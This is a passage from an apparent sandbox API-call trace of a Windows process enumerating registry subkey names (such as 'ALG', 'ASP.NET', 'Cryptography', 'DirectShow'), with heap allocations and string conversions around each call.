RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0256.268] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x123b9b8, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x123c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x123b9b8, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x123b9b8, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x123c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.269] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x123b9b8, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x123c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0256.269] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x123b9b8, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x123c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x123b9b8, cchName=0x104 | out: lpName="COM3") returned 0x0 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x123c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x123b9b8, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x123c160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.270] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x123b9b8, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0256.270] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x123c1a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x123b9b8, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x123c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x123b9b8, cchName=0x104 | out: lpName="CTF") returned 0x0 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x123b9b8, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x123c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.271] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x123b9b8, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.271] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x123b9b8, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x123c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x123b9b8, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x123c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x123b9b8, cchName=0x104 | out: lpName="DFS") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x123c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.272] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0256.272] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x123c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x123c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x123c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0256.273] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.273] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0256.275] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.275] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x123c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0256.275] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.275] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, 